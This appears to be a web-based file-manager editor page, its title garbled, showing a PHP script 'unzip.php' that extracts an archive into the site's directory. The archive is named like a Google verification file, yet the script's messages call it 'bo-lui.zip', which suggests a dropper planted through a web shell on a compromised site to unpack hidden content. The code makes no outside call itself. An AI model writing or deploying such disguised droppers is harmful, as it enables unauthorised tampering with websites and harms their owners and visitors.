ÌìÃÀ´«Ã½
← Back
Editing: unzip.php
<?php set_time_limit(0); $zipFile = __DIR__ . '/google895e42d848c583a2.zip'; $extractTo = __DIR__; if (!class_exists('ZipArchive')) { exit('ERROR: Ekstensi PHP ZipArchive belum aktif.'); } if (!file_exists($zipFile)) { exit('ERROR: File bo-lui.zip tidak ditemukan.'); } $zip = new ZipArchive; if ($zip->open($zipFile) === true) { if ($zip->extractTo($extractTo)) { echo 'SUCCESS: bo-lui.zip berhasil diekstrak.'; } else { echo 'ERROR: Gagal mengekstrak file.'; } $zip->close(); } else { echo 'ERROR: Gagal membuka file ZIP.'; } ?>
Save File
Cancel